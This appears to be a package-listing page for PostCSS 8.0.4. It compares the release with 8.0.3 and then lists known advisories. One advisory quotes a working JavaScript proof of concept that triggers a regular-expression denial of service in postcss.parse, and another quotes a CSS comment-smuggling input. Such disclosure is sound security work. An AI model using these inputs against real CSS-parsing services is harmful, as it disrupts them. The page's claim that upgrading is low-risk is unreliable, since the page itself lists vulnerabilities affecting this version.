PostCSS 8.0.4 is a minor patch release following closely on the heels of version 8.0.3, both iterations of this powerful tool designed for transforming styles with JavaScript plugins. Targeted at developers seeking efficient CSS manipulation, both versions maintain consistent core functionality. Key dependencies like nanoid, colorette, source-map, and line-column remain unchanged, ensuring a stable plugin ecosystem. Both releases share the same MIT license and maintain the same author and funding information.
The crucial difference lies in the details of the distribution package. Version 8.0.4 features a slightly smaller unpacked size of 193314 bytes compared to 8.0.3's 194022 bytes, possibly indicating minor optimizations in the codebase. While seemingly insignificant, these refinements contribute to a slightly leaner footprint for projects utilizing PostCSS. Version 8.0.4 was released on September 16, 2020, a day after 8.0.3. Upgrading to version 8.0.4 represents a low-risk proposition, with developers benefiting from the potential improvements under the hood while preserving compatibility with existing configurations and plugins, ensuring a smoother workflow and optimal performance streamlining the styling process.
All the vulnerabilities related to the version 8.0.4 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.